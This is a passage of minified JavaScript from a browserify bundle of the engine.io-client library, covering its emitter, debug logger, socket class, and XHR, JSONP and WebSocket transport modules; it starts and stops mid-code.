i=0;i<callbacks.length;i++){cb=callbacks[i];if(cb===fn||cb.fn===fn){callbacks.splice(i,1);break}}return this};Emitter.prototype.emit=function(event){this._callbacks=this._callbacks||{};var args=[].slice.call(arguments,1),callbacks=this._callbacks[event];if(callbacks){callbacks=callbacks.slice(0);for(var i=0,len=callbacks.length;i<len;++i){callbacks[i].apply(this,args)}}return this};Emitter.prototype.listeners=function(event){this._callbacks=this._callbacks||{};return this._callbacks[event]||[]};Emitter.prototype.hasListeners=function(event){return!!this.listeners(event).length}},{}],10:[function(_dereq_,module,exports){module.exports=debug;function debug(name){if(!debug.enabled(name))return function(){};return function(fmt){fmt=coerce(fmt);var curr=new Date;var ms=curr-(debug[name]||curr);debug[name]=curr;fmt=name+\" \"+fmt+\" +\"+debug.humanize(ms);window.console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}}debug.names=[];debug.skips=[];debug.enable=function(name){try{localStorage.debug=name}catch(e){}var split=(name||\"\").split(/[\\s,]+/),len=split.length;for(var i=0;i<len;i++){name=split[i].replace(\"*\",\".*?\");if(name[0]===\"-\"){debug.skips.push(new RegExp(\"^\"+name.substr(1)+\"$\"))}else{debug.names.push(new RegExp(\"^\"+name+\"$\"))}}};debug.disable=function(){debug.enable(\"\")};debug.humanize=function(ms){var sec=1e3,min=60*1e3,hour=60*min;if(ms>=hour)return(ms/hour).toFixed(1)+\"h\";if(ms>=min)return(ms/min).toFixed(1)+\"m\";if(ms>=sec)return(ms/sec|0)+\"s\";return ms+\"ms\"};debug.enabled=function(name){for(var i=0,len=debug.skips.length;i<len;i++){if(debug.skips[i].test(name)){return false}}for(var i=0,len=debug.names.length;i<len;i++){if(debug.names[i].test(name)){return true}}return false};function coerce(val){if(val instanceof Error)return val.stack||val.message;return val}try{if(window.localStorage)debug.enable(localStorage.debug)}catch(e){}},{}],11:[function(_dereq_,module,exports){module.exports=_dereq_(\"./lib/\")},{\"./lib/\":12}],12:[function(_dereq_,module,exports){module.exports=_dereq_(\"./socket\");module.exports.parser=_dereq_(\"engine.io-parser\")},{\"./socket\":13,\"engine.io-parser\":25}],13:[function(_dereq_,module,exports){(function(global){var transports=_dereq_(\"./transports\");var Emitter=_dereq_(\"component-emitter\");var debug=_dereq_(\"debug\")(\"engine.io-client:socket\");var index=_dereq_(\"indexof\");var parser=_dereq_(\"engine.io-parser\");var parseuri=_dereq_(\"parseuri\");var parsejson=_dereq_(\"parsejson\");var parseqs=_dereq_(\"parseqs\");module.exports=Socket;function noop(){}function Socket(uri,opts){if(!(this instanceof Socket))return new Socket(uri,opts);opts=opts||{};if(uri&&\"object\"==typeof uri){opts=uri;uri=null}if(uri){uri=parseuri(uri);opts.host=uri.host;opts.secure=uri.protocol==\"https\"||uri.protocol==\"wss\";opts.port=uri.port;if(uri.query)opts.query=uri.query}this.secure=null!=opts.secure?opts.secure:global.location&&\"https:\"==location.protocol;if(opts.host){var pieces=opts.host.split(\":\");opts.hostname=pieces.shift();if(pieces.length){opts.port=pieces.pop()}else if(!opts.port){opts.port=this.secure?\"443\":\"80\"}}this.agent=opts.agent||false;this.hostname=opts.hostname||(global.location?location.hostname:\"localhost\");this.port=opts.port||(global.location&&location.port?location.port:this.secure?443:80);this.query=opts.query||{};if(\"string\"==typeof this.query)this.query=parseqs.decode(this.query);this.upgrade=false!==opts.upgrade;this.path=(opts.path||\"/engine.io\").replace(/\\/$/,\"\")+\"/\";this.forceJSONP=!!opts.forceJSONP;this.jsonp=false!==opts.jsonp;this.forceBase64=!!opts.forceBase64;this.enablesXDR=!!opts.enablesXDR;this.timestampParam=opts.timestampParam||\"t\";this.timestampRequests=opts.timestampRequests;this.transports=opts.transports||[\"polling\",\"websocket\"];this.readyState=\"\";this.writeBuffer=[];this.callbackBuffer=[];this.policyPort=opts.policyPort||843;this.rememberUpgrade=opts.rememberUpgrade||false;this.binaryType=null;this.onlyBinaryUpgrades=opts.onlyBinaryUpgrades;this.perMessageDeflate=false!==opts.perMessageDeflate?opts.perMessageDeflate||true:false;this.pfx=opts.pfx||null;this.key=opts.key||null;this.passphrase=opts.passphrase||null;this.cert=opts.cert||null;this.ca=opts.ca||null;this.ciphers=opts.ciphers||null;this.rejectUnauthorized=opts.rejectUnauthorized||null;this.open()}Socket.priorWebsocketSuccess=false;Emitter(Socket.prototype);Socket.protocol=parser.protocol;Socket.Socket=Socket;Socket.Transport=_dereq_(\"./transport\");Socket.transports=_dereq_(\"./transports\");Socket.parser=_dereq_(\"engine.io-parser\");Socket.prototype.createTransport=function(name){debug('creating transport \"%s\"',name);var query=clone(this.query);query.EIO=parser.protocol;query.transport=name;if(this.id)query.sid=this.id;var transport=new transports[name]({agent:this.agent,hostname:this.hostname,port:this.port,secure:this.secure,path:this.path,query:query,forceJSONP:this.forceJSONP,jsonp:this.jsonp,forceBase64:this.forceBase64,enablesXDR:this.enablesXDR,timestampRequests:this.timestampRequests,timestampParam:this.timestampParam,policyPort:this.policyPort,socket:this,pfx:this.pfx,key:this.key,passphrase:this.passphrase,cert:this.cert,ca:this.ca,ciphers:this.ciphers,rejectUnauthorized:this.rejectUnauthorized,perMessageDeflate:this.perMessageDeflate});return transport};function clone(obj){var o={};for(var i in obj){if(obj.hasOwnProperty(i)){o[i]=obj[i]}}return o}Socket.prototype.open=function(){var transport;if(this.rememberUpgrade&&Socket.priorWebsocketSuccess&&this.transports.indexOf(\"websocket\")!=-1){transport=\"websocket\"}else if(0==this.transports.length){var self=this;setTimeout(function(){self.emit(\"error\",\"No transports available\")},0);return}else{transport=this.transports[0]}this.readyState=\"opening\";var transport;try{transport=this.createTransport(transport)}catch(e){this.transports.shift();this.open();return}transport.open();this.setTransport(transport)};Socket.prototype.setTransport=function(transport){debug(\"setting transport %s\",transport.name);var self=this;if(this.transport){debug(\"clearing existing transport %s\",this.transport.name);this.transport.removeAllListeners()}this.transport=transport;transport.on(\"drain\",function(){self.onDrain()}).on(\"packet\",function(packet){self.onPacket(packet)}).on(\"error\",function(e){self.onError(e)}).on(\"close\",function(){self.onClose(\"transport close\")})};Socket.prototype.probe=function(name){debug('probing transport \"%s\"',name);var transport=this.createTransport(name,{probe:1}),failed=false,self=this;Socket.priorWebsocketSuccess=false;function onTransportOpen(){if(self.onlyBinaryUpgrades){var upgradeLosesBinary=!this.supportsBinary&&self.transport.supportsBinary;failed=failed||upgradeLosesBinary}if(failed)return;debug('probe transport \"%s\" opened',name);transport.send([{type:\"ping\",data:\"probe\",options:{compress:true}}]);transport.once(\"packet\",function(msg){if(failed)return;if(\"pong\"==msg.type&&\"probe\"==msg.data){debug('probe transport \"%s\" pong',name);self.upgrading=true;self.emit(\"upgrading\",transport);if(!transport)return;Socket.priorWebsocketSuccess=\"websocket\"==transport.name;debug('pausing current transport \"%s\"',self.transport.name);self.transport.pause(function(){if(failed)return;if(\"closed\"==self.readyState)return;debug(\"changing transport and sending upgrade packet\");cleanup();self.setTransport(transport);transport.send([{type:\"upgrade\",options:{compress:true}}]);self.emit(\"upgrade\",transport);transport=null;self.upgrading=false;self.flush()})}else{debug('probe transport \"%s\" failed',name);var err=new Error(\"probe error\");err.transport=transport.name;self.emit(\"upgradeError\",err)}})}function freezeTransport(){if(failed)return;failed=true;cleanup();transport.close();transport=null}function onerror(err){var error=new Error(\"probe error: \"+err);error.transport=transport.name;freezeTransport();debug('probe transport \"%s\" failed because of error: %s',name,err);self.emit(\"upgradeError\",error)}function onTransportClose(){onerror(\"transport closed\")}function onclose(){onerror(\"socket closed\")}function onupgrade(to){if(transport&&to.name!=transport.name){debug('\"%s\" works - aborting \"%s\"',to.name,transport.name);freezeTransport()}}function cleanup(){transport.removeListener(\"open\",onTransportOpen);transport.removeListener(\"error\",onerror);transport.removeListener(\"close\",onTransportClose);self.removeListener(\"close\",onclose);self.removeListener(\"upgrading\",onupgrade)}transport.once(\"open\",onTransportOpen);transport.once(\"error\",onerror);transport.once(\"close\",onTransportClose);this.once(\"close\",onclose);this.once(\"upgrading\",onupgrade);transport.open()};Socket.prototype.onOpen=function(){debug(\"socket open\");this.readyState=\"open\";Socket.priorWebsocketSuccess=\"websocket\"==this.transport.name;this.emit(\"open\");this.flush();if(\"open\"==this.readyState&&this.upgrade&&this.transport.pause){debug(\"starting upgrade probes\");for(var i=0,l=this.upgrades.length;i<l;i++){this.probe(this.upgrades[i])}}};Socket.prototype.onPacket=function(packet){if(\"opening\"==this.readyState||\"open\"==this.readyState){debug('socket receive: type \"%s\", data \"%s\"',packet.type,packet.data);this.emit(\"packet\",packet);this.emit(\"heartbeat\");switch(packet.type){case\"open\":this.onHandshake(parsejson(packet.data));break;case\"pong\":this.setPing();break;case\"error\":var err=new Error(\"server error\");err.code=packet.data;this.emit(\"error\",err);break;case\"message\":this.emit(\"data\",packet.data);this.emit(\"message\",packet.data);break}}else{debug('packet received with socket readyState \"%s\"',this.readyState)}};Socket.prototype.onHandshake=function(data){this.emit(\"handshake\",data);this.id=data.sid;this.transport.query.sid=data.sid;this.upgrades=this.filterUpgrades(data.upgrades);this.pingInterval=data.pingInterval;this.pingTimeout=data.pingTimeout;this.onOpen();if(\"closed\"==this.readyState)return;this.setPing();this.removeListener(\"heartbeat\",this.onHeartbeat);this.on(\"heartbeat\",this.onHeartbeat)};Socket.prototype.onHeartbeat=function(timeout){clearTimeout(this.pingTimeoutTimer);var self=this;self.pingTimeoutTimer=setTimeout(function(){if(\"closed\"==self.readyState)return;self.onClose(\"ping timeout\")},timeout||self.pingInterval+self.pingTimeout)};Socket.prototype.setPing=function(){var self=this;clearTimeout(self.pingIntervalTimer);self.pingIntervalTimer=setTimeout(function(){debug(\"writing ping packet - expecting pong within %sms\",self.pingTimeout);self.ping();self.onHeartbeat(self.pingTimeout)},self.pingInterval)};Socket.prototype.ping=function(){this.sendPacket(\"ping\")};Socket.prototype.onDrain=function(){for(var i=0;i<this.prevBufferLen;i++){if(this.callbackBuffer[i]){this.callbackBuffer[i]()}}this.writeBuffer.splice(0,this.prevBufferLen);this.callbackBuffer.splice(0,this.prevBufferLen);this.prevBufferLen=0;if(this.writeBuffer.length==0){this.emit(\"drain\")}else{this.flush()}};Socket.prototype.flush=function(){if(\"closed\"!=this.readyState&&this.transport.writable&&!this.upgrading&&this.writeBuffer.length){debug(\"flushing %d packets in socket\",this.writeBuffer.length);this.transport.send(this.writeBuffer);this.prevBufferLen=this.writeBuffer.length;this.emit(\"flush\")}};Socket.prototype.write=Socket.prototype.send=function(msg,options,fn){this.sendPacket(\"message\",msg,options,fn);return this};Socket.prototype.sendPacket=function(type,data,options,fn){if(\"function\"==typeof options){fn=options;options=null}if(\"closing\"==this.readyState||\"closed\"==this.readyState){return}options=options||{};options.compress=false!==options.compress;var packet={type:type,data:data,options:options};this.emit(\"packetCreate\",packet);this.writeBuffer.push(packet);this.callbackBuffer.push(fn);this.flush()};Socket.prototype.close=function(){if(\"opening\"==this.readyState||\"open\"==this.readyState){this.readyState=\"closing\";var self=this;function close(){self.onClose(\"forced close\");debug(\"socket closing - telling transport to close\");self.transport.close()}function cleanupAndClose(){self.removeListener(\"upgrade\",cleanupAndClose);self.removeListener(\"upgradeError\",cleanupAndClose);close()}function waitForUpgrade(){self.once(\"upgrade\",cleanupAndClose);self.once(\"upgradeError\",cleanupAndClose)}if(this.writeBuffer.length){this.once(\"drain\",function(){if(this.upgrading){waitForUpgrade()}else{close()}})}else if(this.upgrading){waitForUpgrade()}else{close()}}return this};Socket.prototype.onError=function(err){debug(\"socket error %j\",err);Socket.priorWebsocketSuccess=false;this.emit(\"error\",err);this.onClose(\"transport error\",err)};Socket.prototype.onClose=function(reason,desc){if(\"opening\"==this.readyState||\"open\"==this.readyState||\"closing\"==this.readyState){debug('socket close with reason: \"%s\"',reason);var self=this;clearTimeout(this.pingIntervalTimer);clearTimeout(this.pingTimeoutTimer);setTimeout(function(){self.writeBuffer=[];self.callbackBuffer=[];self.prevBufferLen=0},0);this.transport.removeAllListeners(\"close\");this.transport.close();this.transport.removeAllListeners();this.readyState=\"closed\";this.id=null;this.emit(\"close\",reason,desc)}};Socket.prototype.filterUpgrades=function(upgrades){var filteredUpgrades=[];for(var i=0,j=upgrades.length;i<j;i++){if(~index(this.transports,upgrades[i]))filteredUpgrades.push(upgrades[i])}return filteredUpgrades}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./transport\":14,\"./transports\":15,\"component-emitter\":9,debug:22,\"engine.io-parser\":25,indexof:42,parsejson:34,parseqs:35,parseuri:36}],14:[function(_dereq_,module,exports){var parser=_dereq_(\"engine.io-parser\");var Emitter=_dereq_(\"component-emitter\");module.exports=Transport;function Transport(opts){this.path=opts.path;this.hostname=opts.hostname;this.port=opts.port;this.secure=opts.secure;this.query=opts.query;this.timestampParam=opts.timestampParam;this.timestampRequests=opts.timestampRequests;this.readyState=\"\";this.agent=opts.agent||false;this.socket=opts.socket;this.enablesXDR=opts.enablesXDR;this.pfx=opts.pfx;this.key=opts.key;this.passphrase=opts.passphrase;this.cert=opts.cert;this.ca=opts.ca;this.ciphers=opts.ciphers;this.rejectUnauthorized=opts.rejectUnauthorized}Emitter(Transport.prototype);Transport.timestamps=0;Transport.prototype.onError=function(msg,desc){var err=new Error(msg);err.type=\"TransportError\";err.description=desc;this.emit(\"error\",err);return this};Transport.prototype.open=function(){if(\"closed\"==this.readyState||\"\"==this.readyState){this.readyState=\"opening\";this.doOpen()}return this};Transport.prototype.close=function(){if(\"opening\"==this.readyState||\"open\"==this.readyState){this.doClose();this.onClose()}return this};Transport.prototype.send=function(packets){if(\"open\"==this.readyState){this.write(packets)}else{throw new Error(\"Transport not open\")}};Transport.prototype.onOpen=function(){this.readyState=\"open\";this.writable=true;this.emit(\"open\")};Transport.prototype.onData=function(data){var packet=parser.decodePacket(data,this.socket.binaryType);this.onPacket(packet)};Transport.prototype.onPacket=function(packet){this.emit(\"packet\",packet)};Transport.prototype.onClose=function(){this.readyState=\"closed\";this.emit(\"close\")}},{\"component-emitter\":9,\"engine.io-parser\":25}],15:[function(_dereq_,module,exports){(function(global){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var XHR=_dereq_(\"./polling-xhr\");var JSONP=_dereq_(\"./polling-jsonp\");var websocket=_dereq_(\"./websocket\");exports.polling=polling;exports.websocket=websocket;function polling(opts){var xhr;var xd=false;var xs=false;var jsonp=false!==opts.jsonp;if(global.location){var isSSL=\"https:\"==location.protocol;var port=location.port;if(!port){port=isSSL?443:80}xd=opts.hostname!=location.hostname||port!=opts.port;xs=opts.secure!=isSSL}opts.xdomain=xd;opts.xscheme=xs;xhr=new XMLHttpRequest(opts);if(\"open\"in xhr&&!opts.forceJSONP){return new XHR(opts)}else{if(!jsonp)throw new Error(\"JSONP disabled\");return new JSONP(opts)}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling-jsonp\":16,\"./polling-xhr\":17,\"./websocket\":19,xmlhttprequest:20}],16:[function(_dereq_,module,exports){(function(global){var Polling=_dereq_(\"./polling\");\nvar inherit=_dereq_(\"component-inherit\");module.exports=JSONPPolling;var rNewline=/\\n/g;var rEscapedNewline=/\\\\n/g;var callbacks;var index=0;function empty(){}function JSONPPolling(opts){Polling.call(this,opts);this.query=this.query||{};if(!callbacks){if(!global.___eio)global.___eio=[];callbacks=global.___eio}this.index=callbacks.length;var self=this;callbacks.push(function(msg){self.onData(msg)});this.query.j=this.index;if(global.document&&global.addEventListener){global.addEventListener(\"beforeunload\",function(){if(self.script)self.script.onerror=empty},false)}}inherit(JSONPPolling,Polling);JSONPPolling.prototype.supportsBinary=false;JSONPPolling.prototype.doClose=function(){if(this.script){this.script.parentNode.removeChild(this.script);this.script=null}if(this.form){this.form.parentNode.removeChild(this.form);this.form=null;this.iframe=null}Polling.prototype.doClose.call(this)};JSONPPolling.prototype.doPoll=function(){var self=this;var script=document.createElement(\"script\");if(this.script){this.script.parentNode.removeChild(this.script);this.script=null}script.async=true;script.src=this.uri();script.onerror=function(e){self.onError(\"jsonp poll error\",e)};var insertAt=document.getElementsByTagName(\"script\")[0];insertAt.parentNode.insertBefore(script,insertAt);this.script=script;var isUAgecko=\"undefined\"!=typeof navigator&&/gecko/i.test(navigator.userAgent);if(isUAgecko){setTimeout(function(){var iframe=document.createElement(\"iframe\");document.body.appendChild(iframe);document.body.removeChild(iframe)},100)}};JSONPPolling.prototype.doWrite=function(data,fn){var self=this;if(!this.form){var form=document.createElement(\"form\");var area=document.createElement(\"textarea\");var id=this.iframeId=\"eio_iframe_\"+this.index;var iframe;form.className=\"socketio\";form.style.position=\"absolute\";form.style.top=\"-1000px\";form.style.left=\"-1000px\";form.target=id;form.method=\"POST\";form.setAttribute(\"accept-charset\",\"utf-8\");area.name=\"d\";form.appendChild(area);document.body.appendChild(form);this.form=form;this.area=area}this.form.action=this.uri();function complete(){initIframe();fn()}function initIframe(){if(self.iframe){try{self.form.removeChild(self.iframe)}catch(e){self.onError(\"jsonp polling iframe removal error\",e)}}try{var html='<iframe src=\"javascript:0\" name=\"'+self.iframeId+'\">';iframe=document.createElement(html)}catch(e){iframe=document.createElement(\"iframe\");iframe.name=self.iframeId;iframe.src=\"javascript:0\"}iframe.id=self.iframeId;self.form.appendChild(iframe);self.iframe=iframe}initIframe();data=data.replace(rEscapedNewline,\"\\\\\\n\");this.area.value=data.replace(rNewline,\"\\\\n\");try{this.form.submit()}catch(e){}if(this.iframe.attachEvent){this.iframe.onreadystatechange=function(){if(self.iframe.readyState==\"complete\"){complete()}}}else{this.iframe.onload=complete}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling\":18,\"component-inherit\":21}],17:[function(_dereq_,module,exports){(function(global){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var Polling=_dereq_(\"./polling\");var Emitter=_dereq_(\"component-emitter\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:polling-xhr\");module.exports=XHR;module.exports.Request=Request;function empty(){}function XHR(opts){Polling.call(this,opts);if(global.location){var isSSL=\"https:\"==location.protocol;var port=location.port;if(!port){port=isSSL?443:80}this.xd=opts.hostname!=global.location.hostname||port!=opts.port;this.xs=opts.secure!=isSSL}}inherit(XHR,Polling);XHR.prototype.supportsBinary=true;XHR.prototype.request=function(opts){opts=opts||{};opts.uri=this.uri();opts.xd=this.xd;opts.xs=this.xs;opts.agent=this.agent||false;opts.supportsBinary=this.supportsBinary;opts.enablesXDR=this.enablesXDR;opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;return new Request(opts)};XHR.prototype.doWrite=function(data,fn){var isBinary=typeof data!==\"string\"&&data!==undefined;var req=this.request({method:\"POST\",data:data,isBinary:isBinary});var self=this;req.on(\"success\",fn);req.on(\"error\",function(err){self.onError(\"xhr post error\",err)});this.sendXhr=req};XHR.prototype.doPoll=function(){debug(\"xhr poll\");var req=this.request();var self=this;req.on(\"data\",function(data){self.onData(data)});req.on(\"error\",function(err){self.onError(\"xhr poll error\",err)});this.pollXhr=req};function Request(opts){this.method=opts.method||\"GET\";this.uri=opts.uri;this.xd=!!opts.xd;this.xs=!!opts.xs;this.async=false!==opts.async;this.data=undefined!=opts.data?opts.data:null;this.agent=opts.agent;this.isBinary=opts.isBinary;this.supportsBinary=opts.supportsBinary;this.enablesXDR=opts.enablesXDR;this.pfx=opts.pfx;this.key=opts.key;this.passphrase=opts.passphrase;this.cert=opts.cert;this.ca=opts.ca;this.ciphers=opts.ciphers;this.rejectUnauthorized=opts.rejectUnauthorized;this.create()}Emitter(Request.prototype);Request.prototype.create=function(){var opts={agent:this.agent,xdomain:this.xd,xscheme:this.xs,enablesXDR:this.enablesXDR};opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;var xhr=this.xhr=new XMLHttpRequest(opts);var self=this;try{debug(\"xhr open %s: %s\",this.method,this.uri);xhr.open(this.method,this.uri,this.async);if(this.supportsBinary){xhr.responseType=\"arraybuffer\"}if(\"POST\"==this.method){try{if(this.isBinary){xhr.setRequestHeader(\"Content-type\",\"application/octet-stream\")}else{xhr.setRequestHeader(\"Content-type\",\"text/plain;charset=UTF-8\")}}catch(e){}}if(\"withCredentials\"in xhr){xhr.withCredentials=true}if(this.hasXDR()){xhr.onload=function(){self.onLoad()};xhr.onerror=function(){self.onError(xhr.responseText)}}else{xhr.onreadystatechange=function(){if(4!=xhr.readyState)return;if(200==xhr.status||1223==xhr.status){self.onLoad()}else{setTimeout(function(){self.onError(xhr.status)},0)}}}debug(\"xhr data %s\",this.data);xhr.send(this.data)}catch(e){setTimeout(function(){self.onError(e)},0);return}if(global.document){this.index=Request.requestsCount++;Request.requests[this.index]=this}};Request.prototype.onSuccess=function(){this.emit(\"success\");this.cleanup()};Request.prototype.onData=function(data){this.emit(\"data\",data);this.onSuccess()};Request.prototype.onError=function(err){this.emit(\"error\",err);this.cleanup(true)};Request.prototype.cleanup=function(fromError){if(\"undefined\"==typeof this.xhr||null===this.xhr){return}if(this.hasXDR()){this.xhr.onload=this.xhr.onerror=empty}else{this.xhr.onreadystatechange=empty}if(fromError){try{this.xhr.abort()}catch(e){}}if(global.document){delete Request.requests[this.index]}this.xhr=null};Request.prototype.onLoad=function(){var data;try{var contentType;try{contentType=this.xhr.getResponseHeader(\"Content-Type\").split(\";\")[0]}catch(e){}if(contentType===\"application/octet-stream\"){data=this.xhr.response}else{if(!this.supportsBinary){data=this.xhr.responseText}else{data=\"ok\"}}}catch(e){this.onError(e)}if(null!=data){this.onData(data)}};Request.prototype.hasXDR=function(){return\"undefined\"!==typeof global.XDomainRequest&&!this.xs&&this.enablesXDR};Request.prototype.abort=function(){this.cleanup()};if(global.document){Request.requestsCount=0;Request.requests={};if(global.attachEvent){global.attachEvent(\"onunload\",unloadHandler)}else if(global.addEventListener){global.addEventListener(\"beforeunload\",unloadHandler,false)}}function unloadHandler(){for(var i in Request.requests){if(Request.requests.hasOwnProperty(i)){Request.requests[i].abort()}}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling\":18,\"component-emitter\":9,\"component-inherit\":21,debug:22,xmlhttprequest:20}],18:[function(_dereq_,module,exports){var Transport=_dereq_(\"../transport\");var parseqs=_dereq_(\"parseqs\");var parser=_dereq_(\"engine.io-parser\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:polling\");module.exports=Polling;var hasXHR2=function(){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var xhr=new XMLHttpRequest({xdomain:false});return null!=xhr.responseType}();function Polling(opts){var forceBase64=opts&&opts.forceBase64;if(!hasXHR2||forceBase64){this.supportsBinary=false}Transport.call(this,opts)}inherit(Polling,Transport);Polling.prototype.name=\"polling\";Polling.prototype.doOpen=function(){this.poll()};Polling.prototype.pause=function(onPause){var pending=0;var self=this;this.readyState=\"pausing\";function pause(){debug(\"paused\");self.readyState=\"paused\";onPause()}if(this.polling||!this.writable){var total=0;if(this.polling){debug(\"we are currently polling - waiting to pause\");total++;this.once(\"pollComplete\",function(){debug(\"pre-pause polling complete\");--total||pause()})}if(!this.writable){debug(\"we are currently writing - waiting to pause\");total++;this.once(\"drain\",function(){debug(\"pre-pause writing complete\");--total||pause()})}}else{pause()}};Polling.prototype.poll=function(){debug(\"polling\");this.polling=true;this.doPoll();this.emit(\"poll\")};Polling.prototype.onData=function(data){var self=this;debug(\"polling got data %s\",data);var callback=function(packet,index,total){if(\"opening\"==self.readyState){self.onOpen()}if(\"close\"==packet.type){self.onClose();return false}self.onPacket(packet)};parser.decodePayload(data,this.socket.binaryType,callback);if(\"closed\"!=this.readyState){this.polling=false;this.emit(\"pollComplete\");if(\"open\"==this.readyState){this.poll()}else{debug('ignoring poll - transport state \"%s\"',this.readyState)}}};Polling.prototype.doClose=function(){var self=this;function close(){debug(\"writing close packet\");self.write([{type:\"close\"}])}if(\"open\"==this.readyState){debug(\"transport open - closing\");close()}else{debug(\"transport not open - deferring close\");this.once(\"open\",close)}};Polling.prototype.write=function(packets){var self=this;this.writable=false;var callbackfn=function(){self.writable=true;self.emit(\"drain\")};var self=this;parser.encodePayload(packets,this.supportsBinary,function(data){self.doWrite(data,callbackfn)})};Polling.prototype.uri=function(){var query=this.query||{};var schema=this.secure?\"https\":\"http\";var port=\"\";if(false!==this.timestampRequests){query[this.timestampParam]=+new Date+\"-\"+Transport.timestamps++}if(!this.supportsBinary&&!query.sid){query.b64=1}query=parseqs.encode(query);if(this.port&&(\"https\"==schema&&this.port!=443||\"http\"==schema&&this.port!=80)){port=\":\"+this.port}if(query.length){query=\"?\"+query}return schema+\"://\"+this.hostname+port+this.path+query}},{\"../transport\":14,\"component-inherit\":21,debug:22,\"engine.io-parser\":25,parseqs:35,xmlhttprequest:20}],19:[function(_dereq_,module,exports){var Transport=_dereq_(\"../transport\");var parser=_dereq_(\"engine.io-parser\");var parseqs=_dereq_(\"parseqs\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:websocket\");var WebSocket=_dereq_(\"ws\");module.exports=WS;function WS(opts){var forceBase64=opts&&opts.forceBase64;if(forceBase64){this.supportsBinary=false}this.perMessageDeflate=opts.perMessageDeflate;Transport.call(this,opts)}inherit(WS,Transport);WS.prototype.name=\"websocket\";WS.prototype.supportsBinary=true;WS.prototype.doOpen=function(){if(!this.check()){return}var self=this;var uri=this.uri();var protocols=void 0;var opts={agent:this.agent,perMessageDeflate:this.perMessageDeflate};opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;this.ws=new WebSocket(uri,protocols,opts);if(this.ws.binaryType===undefined){this.supportsBinary=false}this.ws.binaryType=\"arraybuffer\";this.addEventListeners()};WS.prototype.addEventListeners=function(){var self=this;this.ws.onopen=function(){self.onOpen()};this.ws.onclose=function(){self.onClose()};this.ws.onmessage=function(ev){self.onData(ev.data)};this.ws.onerror=function(e){self.onError(\"websocket error\",e)}};if(\"undefined\"!=typeof navigator&&/iPad|iPhone|iPod/i.test(navigator.userAgent)){WS.prototype.onData=function(data){var self=this;setTimeout(function(){Transport.prototype.onData.call(self,data)},0)}}WS.prototype.write=function(packets){var self=this;this.writable=false;for(var i=0,l=packets.length;i<l;i++){var packet=packets[i];parser.encodePacket(packet,this.supportsBinary,function(data){try{self.ws.send(data,packet.options)}catch(e){debug(\"websocket closed before onclose event\")}})}function ondrain(){self.writable=true;self.emit(\"drain\")}setTimeout(ondrain,0)};WS.prototype.onClose=function(){Transport.prototype.onClose.call(this)};WS.prototype.doClose=function(){if(typeof this.ws!==\"undefined\"){this.ws.close()}};WS.prototype.uri=function(){var query=this.query||{};var schema=this.secure?\"wss\":\"ws\";var port=\"\";if(this.port&&(\"wss\"==schema&&this.port!=443||\"ws\"==schema&&this.port!=80)){port=\":\"+this.port}if(this.timestampRequests){query[this.timestampParam]=+new Date}if(!this.supportsBinary){query.b64=1}query=parseqs.encode(query);if(query.length){query=\"?\"+query}return schema+\"://\"+this.hostname+port+this.path+query};WS.prototype.check=function(){return!!WebSocket&&!(\"__initialize\"in WebSocket&&this.name===WS.prototype.name)}},{\"../transport\":14,\"component-inherit\":21,debug:22,\"engine.io-parser\":25,parseqs:35,ws:37}],20:[function(_dereq_,module,exports){var hasCORS=_dereq_(\"has-cors\");module.exports=function(opts){var xdomain=opts.xdomain;var xscheme=opts.xscheme;var enablesXDR=opts.enablesXDR;try{if(\"undefined\"!=typeof XMLHttpRequest&&(!xdomain||hasCORS)){return new XMLHttpRequest}}catch(e){}try{if(\"undefined\"!=typeof XDomainRequest&&!xscheme&&enablesXDR){return new XDomainRequest}}catch(e){}if(!xdomain){try{return new ActiveXObject(\"Microsoft.XMLHTTP\")}catch(e){}}}},{\"has-cors\":40}],21:[function(_dereq_,module,exports){module.exports=function(a,b){var fn=function(){};fn.prototype=b.prototype;a.prototype=new fn;a.prototype.constructor=a}},{}],22:[function(_dereq_,module,exports){exports=module.exports=_dereq_(\"./debug\");exports.log=log;exports.formatArgs=formatArgs;exports.save=save;exports.load=load;exports.useColors=useColors;exports.colors=[\"lightseagreen\",\"forestgreen\",\"goldenrod\",\"dodgerblue\",\"darkorchid\",\"crimson\"];function useColors(){return\"WebkitAppearance\"in document.documentElement.style||window.console&&(console.firebug||console.exception&&console.table)||navigator.userAgent.toLowerCase().match(/firefox\\/(\\d+)/)&&parseInt(RegExp.$1,10)>=31}exports.formatters.j=function(v){return JSON.stringify(v)};function formatArgs(){var args=arguments;var useColors=this.useColors;args[0]=(useColors?\"%c\":\"\")+this.namespace+(useColors?\" %c\":\" \")+args[0]+(useColors?\"%c \":\" \")+\"+\"+exports.humanize(this.diff);if(!useColors)return args;var c=\"color: \"+this.color;args=[args[0],c,\"color: inherit\"].concat(Array.prototype.slice.call(args,1));var index=0;var lastC=0;args[0].replace(/%[a-z%]/g,function(match){if(\"%\"===match)return;index++;if(\"%c\"===match){lastC=index}});args.splice(lastC,0,c);return args}function log(){return\"object\"==typeof console&&\"function\"==typeof console.log&&Function.prototype.apply.call(console.log,console,arguments)}function save(namespaces){try{if(null==namespaces){localStorage.removeItem(\"debug\")}else{localStorage.debug=namespaces}}catch(e){}}function load(){var r;try{r=localStorage.debug}catch(e){}return 